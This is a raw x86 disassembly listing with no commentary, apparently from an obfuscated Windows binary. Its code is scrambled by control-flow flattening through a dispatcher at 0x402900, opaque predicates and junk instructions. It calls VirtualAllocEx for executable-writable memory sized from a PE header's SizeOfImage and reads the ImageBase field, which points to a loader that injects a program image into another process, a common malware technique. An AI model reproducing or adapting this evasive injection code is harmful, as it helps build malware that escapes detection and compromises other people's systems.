and ecx, 0x2937794b
or edx, ecx
mov ecx, eax
and ecx, 0x4b6fa544
and eax, 1
or ecx, esi
mov esi, ecx
xor esi, 0x14804a12
xor ecx, 0x4a662040
or eax, esi
and ecx, 0xea7630e8
and eax, 0x1589cf17
or eax, ecx
xor eax, 0x1589cf17
or eax, edx
mov esi, eax
or esi, 0x42081028
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xde723d5
and ecx, eax
and esi, 0x4a2f1339
and edx, 0x5c020c4
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb5d0ecc6
or eax, esi
and esi, 0x4a2f1339
or ecx, esi
not eax
mov esi, 0x8c4779f3
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xf218dc2a
and eax, 0xde723d5
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x48a85168
mov edx, ecx
and edx, 0xb757ae97
or eax, edx
xor eax, 0x48a85168
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
mov ch, al
and al, ah
inc ch
mov cl, ch
mov dh, ch
xor cl, dl
or dh, dl
not cl
and cl, dl
and dl, ch
or ch, ah
xor cl, 1
xor ch, 1
or al, dl
mov ebx, ecx
or cl, dh
or al, ch
xor bl, dh
xor cl, 1
mov edx, eax
or cl, bl
xor dl, 1
mov ch, cl
xor ch, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0xbc743514
xor cl, al
test al, 1
mov eax, 0xbc743514
cmovne eax, esi
test ch, 1
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x2050a0
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xbb438e1f
and ecx, eax
and esi, 0x9021d8a2
and edx, 0x2b42061d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6fde275d
or eax, esi
and esi, 0x9021d8a2
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x44bc71e0
and eax, 0xbb438e1f
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2fcf21ed
and eax, 0x846914ed
and ecx, 0xd030de12
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x2fcf21ed
xor esi, 0xaba63500
xor edx, 0xd0208e02
and esi, ecx
and edx, 0xd264af62
or eax, esi
mov esi, eax
not esi
and eax, 0x7b96eb13
and esi, 0x846914ec
or eax, esi
mov esi, ecx
and esi, 0x2d9b509d
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x260a001
xor esi, 0xd015018
or ecx, edx
mov edx, eax
and esi, 0xdd055f7a
not edx
and eax, 0x5ff144c1
and ecx, 0x22faa085
or ecx, esi
mov esi, edx
and esi, 0xa00ebb3e
or eax, esi
mov esi, ecx
xor esi, 0x2f00081
xor ecx, 0xdd055f7a
or edx, ecx
and ecx, 0xa00ebb3e
and esi, 0x5ff144c1
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x917ab4db
mov eax, edx
not eax
and edx, 0xf8aae0d4
and eax, 0x7551f2b
or edx, eax
mov eax, edx
xor eax, 0xb8a080d4
xor edx, 0x2101708
and edx, 0x421a7708
and eax, 0xbde588f7
or eax, edx
xor eax, 0x421a7708
setne dl
sete al
cmp dword [0x460980], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
mov ah, dl
or dh, cl
xor dl, al
xor ah, 1
xor al, 1
mov cl, dh
or al, ah
xor cl, ch
xor al, 1
and cl, dh
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xe93fee4f
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0xe93fee4f
jmp 0x411dcc
mov eax, 0x83232435
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x3839554c
and ecx, 0xc7c6aab3
or ecx, edx
mov eax, ecx
mov edx, ecx
xor ecx, 0xc606aa03
xor eax, 0x3839554c
xor edx, 0x3839554d
and edx, eax
and ecx, 0xf617fa07
and eax, 0x9e805f8
or eax, ecx
xor eax, 0x9e805f9
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc144401
and eax, 0x41c10106
mov edx, ecx
and edx, 0x92209af8
or ecx, 0x804c0c8
or esi, edx
and ecx, 0x280ee0c8
mov edx, esi
xor edx, 0x4100401
xor esi, 0x200aa0c8
or eax, ecx
and esi, 0x280ee0c8
and edx, 0x96301e31
or edx, esi
mov esi, 0xb5531fc6
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x9e34def9
and ecx, 0x61cb2106
or eax, ecx
sete dl
setne ah
cmp dword [0x460980], 0xa
mov ch, dl
setl cl
setge al
xor ch, cl
or cl, dl
xor ah, al
or al, dl
xor cl, 1
and ch, dl
xor al, 1
or cl, ah
or al, ch
mov ah, cl
xor al, 1
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x38d3a611
cmovne ecx, esi
test al, al
mov eax, 0x38d3a611
cmovne eax, ecx
jmp 0x411dd1
mov eax, 0x5a9c4ac1
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x32100b8d
mov edi, ecx
or edi, 0xdb5b2762
mov esi, ecx
and esi, 0xdb5b2762
and ecx, 0xcdeff472
mov edx, edi
not edx
and edi, 0x24a4d89c
or eax, ecx
or edx, esi
xor eax, 0x32100b8d
and edx, 0xdb5b2763
or edx, edi
mov esi, edx
not esi
and edx, 0x38577e60
and esi, 0xc7a8819f
or edx, esi
mov esi, 0x900cf38f
xor edx, 0x38577e60
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x460980], 0xa
setge ch
setl dl
and al, ch
or ch, cl
and dl, cl
mov ah, ch
or al, dl
xor ah, 1
mov edx, eax
mov cl, ah
xor dl, 1
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov dh, cl
and cl, dl
xor dl, ch
xor dh, 1
and dh, al
or al, ah
xor al, 1
or cl, dh
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x80c70390
cmovne edx, esi
test al, al
mov eax, 0x80c70390
jmp 0x411a5a
mov eax, dword [ebp - 0x14]
mov eax, 0xca25e049
jmp 0x402900
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax]
mov eax, 0x372ed618
mov ecx, 0x9c4ac2a0
cmove eax, ecx
jmp 0x402900
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x1e8], eax
mov eax, 0xcd3287de
jmp 0x402900
mov eax, 0x1a9c6ba
jmp 0x402900
mov eax, 0x4cdcdb47
jmp 0x402900
mov eax, 0xd967995d
jmp 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x9a82ed25
mov esi, edx
and esi, 0x657d12da
and edx, 0xe6f5a934
or eax, esi
mov esi, eax
xor eax, 0x4530125a
xor esi, 0x8802900
or eax, 0xb04d84a4
and esi, 0x9b02b48
mov edi, eax
and edi, 0x660ed097
or esi, edi
mov edi, ecx
xor edi, 0x4fb27b5b
and edi, ecx
and ecx, 0x190a56cb
mov ebx, edi
not ebx
and edi, 0x99f12f68
or ecx, edx
or eax, ebx
and ebx, 0x660ed097
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x4fb27b5a
and esi, 0xb04d84a5
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xdfc101fd
and esi, 0x203efe02
or esi, edx
mov edx, ecx
xor edx, 0xa5602
xor ecx, 0xe6f5a934
or eax, ecx
and ecx, 0xdfc101fd
and edx, 0x203efe02
or edx, ecx
not eax
xor edx, esi
mov esi, 0x138a9358
or eax, edx
mov ecx, eax
not ecx
and eax, 0x22df4ef4
and ecx, 0xdd20b10b
or eax, ecx
xor eax, 0x22df4ef4
setne ch
sete ah
cmp dword [0x460980], 0xa
mov dl, ch
setge al
xor ch, al
or dl, al
or al, ah
and ch, ah
xor al, 1
mov cl, dl
mov ah, dl
or al, ch
xor cl, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x8b924676
cmovne edx, esi
test al, al
mov eax, 0x8b924676
jmp 0x411a5a
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x6b5c0d6f
and eax, ecx
not ecx
and ecx, 0x6b5c0d6f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xae32cdb9
and ecx, 0x51cd3246
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x856440c2
xor esi, 0x3a913f29
xor eax, 0x484002
mov ecx, esi
and ecx, 0x5a9bad1c
and edx, 0xa56452e3
or esi, 0x5b058080
and eax, 0x485803
or edx, ecx
and esi, 0x7b058198
mov ecx, edx
xor edx, 0x5a9bad1c
xor ecx, 0xa56452e3
or eax, esi
mov edi, edx
or edi, 0x20000118
mov ebx, ecx
and ebx, 0x84b22664
and edx, 0xe4580452
and edi, 0x7b058198
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xdfb7a6e5
and esi, 0x2048591a
or eax, esi
mov esi, ecx
and esi, 0x1ba7fbad
and ecx, 1
or esi, edx
mov edx, eax
not edx
and eax, 0x3a765d1d
xor esi, 0xe4580453
or ecx, esi
mov esi, edx
and esi, 0xc589a2e2
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xc589a2e2
and esi, 0x3a765d1d
not edx
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0x19b3e215
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x80010070
and edx, 0x7bbeff86
and eax, 0x4400009
or ecx, eax
xor ecx, 0x80010070
or edx, ecx
mov eax, edx
not eax
and edx, 0xb4eb5b02
and eax, 0x4b14a4fd
or edx, eax
mov eax, edx
xor eax, 0x20080a
xor edx, 0xc950a000
and eax, 0x6250c8e
and edx, 0xf9daf371
or edx, eax
xor edx, 0xf9daf371
setne ch
sete al
cmp dword [0x460980], 0xa
mov cl, ch
setge dl
setl ah
inc cl
or cl, ah
xor dl, ch
xor al, ah
or ch, ah
xor cl, 1
and al, ah
mov dh, ch
or cl, dl
xor al, 1
mov ah, cl
mov dl, cl
xor dh, al
or al, ch
xor ah, 1
xor al, 1
and dl, ah
or al, dh
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xed297aaf
cmovne ecx, esi
test al, 1
mov eax, 0xed297aaf
jmp 0x412955
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0xe6c070a6
jmp 0x402900
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov eax, 0x6c1a2f1e
jmp 0x402900
cmp dword [ebp - 0x1c8], 0
mov eax, 0x6a48988b
mov ecx, 0xa6ec9b05
cmove eax, ecx
jmp 0x402900
push 0xffffffffffffffff
push dword [ebp - 0x1ec]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc esi
imul edi
imul edi
bswap esi
dec edi
not edi
dec ebx
bswap esi
bswap ebx
neg ebx
sub edi, 0xc1
sub ebx, 0x64
mov ebx, 0xbf
or ebx, 0x52
bswap ebx
sub esi, 0xd4
rcl edi, 0xd5
dec edx
not ebx
bswap edx
inc ebx
sbb esi, 0x8a
rcr edi, 0x24
bswap edi
sub edi, 0x36
not edx
neg edx
bswap edx
not edi
rcr esi, 0xbd
neg edi
add eax, 0x73
inc edi
dec ebx
dec edx
sbb edi, 0xab
neg edi
add eax, 0x50
and edx, 0xd8
imul eax
mov esi, 0x34
ror edi, 0x88
imul edi
not edi
sub edx, 0xdd
rol eax, 0x49
mov edi, 0xdb
neg ebx
rol edx, 0x10
sbb esi, 0x6c
sub edi, 0x85
inc eax
dec edx
mov edi, 0x62
imul eax
mov edi, 0x5d
inc ebx
sub edi, 0xd8
or esi, 0x1b
mov edi, 0xe1
dec eax
imul esi
not edi
sub eax, 0xad
neg edx
inc esi
rcr edi, 0x48
not edx
dec edx
mov edx, 0xfc
add edx, 0xf9
neg eax
add edi, 0x32
mov esi, 0x4e
imul edi
dec edx
rol edi, 0xd2
and edi, 0x15
add ebx, 0xff
inc eax
imul ebx
sub edi, 0x79
sub eax, 0x9e
rcl ebx, 0xf4
inc edi
neg eax
rcr ebx, 0x8e
imul esi
dec esi
dec edx
mov edx, 0x24
bswap ebx
mov edx, 0xe7
sub esi, 0xa1
dec eax
or edi, 0x9c
and eax, 0x42
not esi
dec esi
not edx
inc edx
imul edi
ror edi, 0xb3
sub esi, 0xfd
bswap edx
add ebx, 0xe5
not eax
add edx, 0x81
not esi
dec ebx
dec esi
dec edi
neg esi
and edx, 0xb
neg esi
inc edi
rcr esi, 0xf6
sub edx, 0x20
add ebx, 0xe6
inc ebx
sub edx, 0x3e
neg esi
rcr eax, 0x52
inc eax
not esi
sbb edi, 0xf7
bswap ebx
not edi
dec edi
imul eax
sbb edx, 0x94
sub edi, 0x50
not edi
imul eax
or esi, 0x18
imul edx
inc ebx
inc ebx
dec ebx
sub edx, 0xf6
neg eax
ror esi, 0x45
sub eax, 0x85
neg ebx
rcl edi, 0
add edx, 6
or ebx, 0x3e
or ebx, 0x53
neg ebx
bswap edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xdc]
mov eax, 0xc6acf5df
jmp 0x402900
mov eax, 0xf7bdc6c2
jmp 0x402900
mov eax, dword [ebp - 0xcc]
mov ecx, dword [0x460984]
mov esi, 0x95c60f2b
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x140], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe2664a56
and ecx, 0x1d99b5a8
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0xe2664a56
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
cmp dword [0x460980], 0xa
mov ecx, eax
setge ah
setl dl
xor ah, al
and cl, ah
not ah
mov ch, cl
and ah, al
xor al, dl
and al, dl
xor ch, 1
mov edx, ecx
and dl, ch
or al, ah
xor dl, 1
mov ah, al
mov dh, dl
or dl, ch
xor ah, ch
xor dh, ch
xor dl, 1
xor ah, 1
or dl, dh
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x2b6d186a
cmovne eax, esi
test dl, 1
mov edx, 0x2b6d186a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x70]
mov eax, 0x7b3e60ff
jmp 0x402900
mov eax, dword [ebp - 0x28]
mov eax, 0x9eea85e7
jmp 0x402900
mov eax, 0x4bbb60e9
jmp 0x402900
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0x1b0]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xcc]
mov eax, 0x48fb4125
jmp 0x402900
mov eax, 0x21163875
jmp 0x402900
mov eax, 0xf34f8908
jmp 0x402900
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x40]
lea eax, [ecx + eax + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0xfaf79bc3
jmp 0x402900
mov ecx, dword [0x460984]
mov edi, 0x2ae6ba3f
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x884b1404
mov edx, ecx
and edx, 0x4420c000
and ecx, 0x878441e7
or esi, edx
mov edx, eax
and edx, 0x33942bfb
and eax, 0x787bbe18
xor esi, 0x884b1404
or eax, ecx
or edx, esi
xor eax, 0x787bbe18
mov esi, edx
not esi
and edx, 0x4951da37
and esi, 0xb6ae25c8
or edx, esi
mov esi, 0xfad9d15d
xor edx, 0x7ac5f1cd
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5cb7e164
and ecx, 0xa3481e9b
or eax, ecx
xor eax, 0x5cb7e164
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor cl, 1
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
mov edx, 0xfad9d15d
cmove esi, edx
cmovne esi, edi
test al, al
mov eax, dword [ebp - 0xc8]
jmp 0x4139b4
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x13c]
cmp dword [eax + ecx*4], 0
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
setne byte [ebp - 0xa2]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x404fcc0
mov esi, edx
and esi, 0x10800104
and edx, 0x5eba72fe
or ecx, esi
mov esi, ecx
xor esi, 0x4041840
xor ecx, 0xfbfb033f
mov edi, ecx
and edi, 0xd003e4a6
and esi, 0x4841940
or esi, edi
mov edi, eax
xor edi, 0x1484fdc4
and edi, eax
and eax, 0xa1458d01
mov ebx, edi
not ebx
and edi, 0x2ffc1b59
or eax, edx
or ecx, ebx
and ebx, 0xd003e4a6
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xb9351d6
and esi, 0xf46cae29
or ecx, esi
mov esi, ecx
xor esi, 0xe10a411
xor ecx, 0xe0e853ec
mov edx, ecx
and edx, 0x11cf188e
and esi, 0xee30e771
or esi, edx
mov edx, eax
xor edx, 0xa0008501
xor eax, 0x108a108e
and eax, 0x11cf188e
and edx, 0xee30e771
or edx, eax
xor edx, esi
mov esi, 0x358999be
xor ecx, edx
test ecx, edx
sete dl
setne ah
cmp dword [0x460980], 0xa
setl cl
setge al
xor al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xaf8fc05b
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xaf8fc05b
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xf0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf0]
mov eax, 0x72c3ae7c
jmp 0x402900
mov eax, 0x166c1132
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x44186c10
mov esi, eax
mov edi, eax
or esi, 0x8208080
and edx, 0x4c38ec90
and edi, 0x23830005
and eax, 0xafbda9ba
or edi, edx
mov edx, ecx
and esi, 0x4c38ec90
and edx, 0x9044136a
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x2ba38084
and esi, 0xd45c7f7b
or edx, esi
mov esi, edx
not esi
and edx, 0x5c58d53c
and esi, 0xa3a72ac3
or edx, esi
mov esi, edx
xor esi, 0xc188138
xor edx, 0xa3a72ac3
mov edi, edx
or edx, ecx
and ecx, 0x50425645
and edi, 0x50425645
and esi, 0xafbda9ba
or esi, edi
or eax, ecx
not edx
mov edi, 0xb5531fc6
xor eax, esi
mov esi, 0x4d91dd88
or edx, eax
mov eax, edx
not eax
and edx, 0xe7d0d988
and eax, 0x182f2677
or edx, eax
xor edx, 0xe7d0d988
sete cl
setne dl
cmp dword [0x460980], 0xa
setl al
mov ah, al
xor dl, al
xor al, cl
or ah, cl
mov ecx, edx
xor ah, 1
or al, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xb5531fc6
cmovne ecx, esi
test al, al
cmovne ecx, edi
test dl, dl
jmp 0x413acc
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, 0x6080c0ea
jmp 0x402900
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x180], eax
mov eax, 0x7a4064ac
jmp 0x402900
cmp byte [ebp - 0xa3], 0
mov eax, 0x69d9e24c
mov ecx, 0xabe09772
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
add eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x7c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, 0x52f4da25
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x74b7347b
and edx, 0x8b48cb84
mov esi, ecx
not esi
and ecx, 0x22b2950
or eax, edx
mov edx, eax
xor edx, 0x232050
xor eax, 0x8b48cb84
mov edi, eax
or eax, esi
and esi, 0xfdd4d6af
and edi, 0xfdd4d6af
and edx, 0x22b2950
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x403ea967
mov edx, eax
not edx
andn esi, eax, ecx
or edx, 0x403ea967
mov ecx, esi
not ecx
and esi, 0x85b907d
mov edi, ecx
and edi, 0xf7a46f82
or ecx, edx
and edx, 0xf7a46f82
or esi, edi
mov edi, eax
and edi, 0x8411018
not ecx
and eax, 0xfffffffe
or edi, edx
xor edi, esi
mov esi, 0xb303e2c1
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x403ea966
and edx, 0xbfc15699
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x14ed78ee
and ecx, 0xeb128711
or ecx, eax
mov eax, ecx
xor eax, 0xe9020310
xor ecx, 0x10005068
and ecx, 0x1210d469
and eax, 0xedef2b96
or eax, ecx
mov ecx, eax
xor ecx, 0x8408
xor eax, 0x60210b82
and eax, 0x72315be3
and ecx, 0x8dcea41c
or ecx, eax
cmp ecx, 0x8dcea41c
setne dl
cmp dword [0x460980], 0xa
mov dh, dl
mov eax, edx
setl ah
setge cl
inc dh
mov ch, dh
and ch, dl
xor ch, 1
or al, ch
or ch, dh
xor ch, 1
xor al, 1
or ch, dl
or al, dh
mov dh, ah
xor ch, 1
mov ebx, eax
xor al, 1
xor dh, ch
or ch, cl
and al, ah
mov ah, cl
and bl, cl
and dh, cl
or cl, dl
or al, bl
xor ah, dl
xor ch, 1
xor cl, 1
xor al, 1
or dh, ch
or cl, ah
mov dl, al
or al, cl
xor dl, cl
mov cl, dh
xor al, 1
xor cl, 1
or al, dl
xor dh, al
or cl, al
mov al, dh
xor al, cl
test al, 1
mov eax, 0x1a9c6ba
cmovne esi, eax
test cl, 1
cmovne eax, esi
test dh, 1
cmovne eax, esi
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x663ac038
and edx, 0x99c53fc7
or edx, esi
mov esi, ecx
not esi
and ecx, 0x99c53fc7
or eax, esi
and esi, 0x663ac038
or ecx, esi
not eax
mov esi, 0xfd6acd74
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2ee8081e
and ecx, 0xd117f7e1
or eax, ecx
xor eax, 0x2ee8081e
sete cl
setne dl
cmp dword [0x460980], 0xa
setl al
setge ah
and cl, ah
or ah, dl
and al, dl
or al, cl
xor ah, 1
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe9b4ace6
cmovne edx, esi
test al, al
mov eax, 0xe9b4ace6
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x4fe0856c
mov edi, edx
mov esi, ecx
and esi, 0x894826ae
and edi, 0x30175811
and edx, 0xd59eafa8
or edi, esi
mov esi, eax
xor esi, 0xb01f7a93
and esi, eax
and eax, 0x2a615057
mov ebx, esi
not ebx
and esi, 0x76b7d951
or eax, edx
or ecx, ebx
and ebx, 0x894826ae
xor eax, 0x2a615057
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x88c90cb
and esi, 0xf7736f34
or ecx, esi
mov esi, 0x859677a0
xor ecx, 0x476c15a6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8b8cdabf
and ecx, 0x74732540
or eax, ecx
xor eax, 0x8b8cdabf
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
setl ah
mov ch, cl
and ah, al
xor ch, al
or al, cl
and al, ch
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
or cl, ah
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0xbaf37dfc
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x4028ed
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x64097e32
mov edx, eax
and edx, 0x24011622
and ecx, eax
not eax
and eax, 0x40086810
or edx, eax
xor edx, 0x24011622
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x165ec044
and eax, 0xe9a13fbb
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x8da80088
xor eax, 0x7257be76
xor ecx, 0x88e800a
mov esi, eax
and edx, 0x8da8b4ce
and esi, 0x72574b31
and ecx, eax
or esi, edx
mov eax, esi
xor eax, 0x72574b31
xor esi, 0x92804ce
mov edx, eax
and edx, 0x7ad93e7c
and esi, 0xb2846fe
or edx, ecx
not ecx
and ecx, 0x8526c182
and edx, 0x7ad93e7d
or edx, ecx
mov ecx, eax
and ecx, 0xf4d7b901
and eax, 1
or ecx, esi
mov esi, ecx
xor esi, 0x846d5
xor ecx, 0xd0501000
or eax, esi
and ecx, 0xdb70102a
mov esi, 0xe348c39a
and eax, 0x248fefd5
or eax, ecx
xor eax, 0x248fefd5
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x126142cf
and eax, 0xe5868d30
and ecx, 0x8183000
or edx, ecx
xor edx, 0x126142cf
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6ac53e04
and ecx, 0x953ac1fb
or eax, ecx
xor eax, 0x70bc4ccb
setne ch
sete ah
cmp dword [0x460980], 0xa
setge al
setl dl
mov cl, al
or dl, ch
xor cl, ah
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6f0f0754
cmovne eax, esi
test dl, 1
mov edx, 0x6f0f0754
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, 0xaafbc836
